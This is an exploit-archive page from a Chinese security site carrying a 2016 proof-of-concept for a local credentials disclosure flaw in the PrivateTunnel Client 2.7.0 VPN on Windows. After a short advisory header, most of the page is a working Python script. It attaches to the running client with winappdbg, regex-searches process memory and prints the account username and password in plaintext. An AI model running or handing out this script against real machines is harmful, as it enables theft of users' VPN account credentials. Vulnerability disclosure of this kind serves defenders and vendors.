首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PrivateTunnel Client 2.7.0 (x64) - Local Credentials Disclosure
来源:http://www.black-rose.ml 作者:Wizman 发布时间:2016-09-18  

#####
# PrivateTunnel Client v2.7.0 (x64) Local Credentials Disclosure After Sign out Exploit
# Tested on Windows Windows 7 64bit, English
# Vendor Homepage  @ https://www.privatetunnel.com
# Date 14/09/2016
# Bug Discovery by:
#
# Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
# http://www.black-rose.ml
#
# Viktor Minin (https://www.linkedin.com/in/MininViktor)
# https://1-33-7.com/
#
#####
# PrivateTunnel Client v2.7.0 is vulnerable to local credentials disclosure after the user is logged out.
# It seems that PrivateTunnel does store the supplied credentials while the user is logged in and after sign out in a plaintext format in memory process.
# A potential attacker could reveal the supplied username and password in order to gain access to PrivateTunnel account.
#
# Authors are not responsible for any misuse or demage which caused by use of this script code.
# Please use responsibly.
#####
# Proof-Of-Concept Code:

import time
import urllib
from winappdbg import Debug, Process

usr   = ''
pwd   = ''
found  = 0
filename  = "privatetunnel2.7.0.exe"
process_pid = 0
memory_dump = []

debug = Debug()
try:
 print "###########################################################################"
 print "# PrivateTunnel v2.7.0 Local Credentials Disclosure Exploit After Sign out#"
 print "#\t\tBug Discovery by Yakir Wizman, Victor Minin\t\t  #"
 print "#\t\tTested on Windows Windows 7 64bit, English\t\t  #"
 print "#\t\t\tPlease use responsibly.\t\t\t\t  #"
 print "###########################################################################\r\n"
 print "[~] Searching for pid by process name '%s'.." % (filename)
 time.sleep(1)
 debug.system.scan_processes()
 for (process, process_name) in debug.system.find_processes_by_filename(filename):
  process_pid = process.get_pid()
 if process_pid is not 0:
  print "[+] Found process with pid #%d" % (process_pid)
  time.sleep(1)
  print "[~] Trying to read memory for pid #%d" % (process_pid)
  
  process = Process(process_pid)
  
  user_pattern = '\x20\x22\x70\x61\x73\x73\x77\x6F\x72\x64\x22\x20\x3A\x20\x22(.*)\x22\x2C\x0A\x20\x20\x20\x22\x75\x73\x65\x72\x6E\x61\x6D\x65\x22\x20\x3A\x20\x22(.*)\x22\x0A'
  for address in process.search_regexp(user_pattern):
   memory_dump.append(address)
  
  try:
   usr = memory_dump[0][2].split('"username" : "')[1].replace('"\n', '')
   pwd = memory_dump[0][2].split('"password" : "')[1].split('",')[0]
  except:
   pass
  print ""
  if usr != '' and pwd !='':
   found = 1
   print "[+] PrivateTunnel Credentials found!\r\n----------------------------------------"
   print "[+] Username: %s" % usr
   print "[+] Password: %s" % pwd
  if found == 0:
   print "[-] Credentials not found!"

 else:
  print "[-] No process found with name '%s'." % (filename)
 
 debug.loop()
finally:
    debug.stop()


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft Internet Explorer 11
·NetBSD mail.local - Privilege
·Cherry Music 0.35.1 - Arbitrar
·Cisco ASA 9.2(3) - 'EXTRABACON
·ASUS DSL-X11 ADSL Router - Una
·AnoBBS 1.0.1 - Remote File Inc
·PHP 5.2.x Safe Mode Windows By
·Docker Daemon Privilege Escala
·COMTREND ADSL Router CT-5624 C
·PHP 5.0.0 - 'tidy_parse_file()
·COMTREND ADSL Router CT-5367 C
·EKG Gadu 1.9~pre+r2855-3+b1 -
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved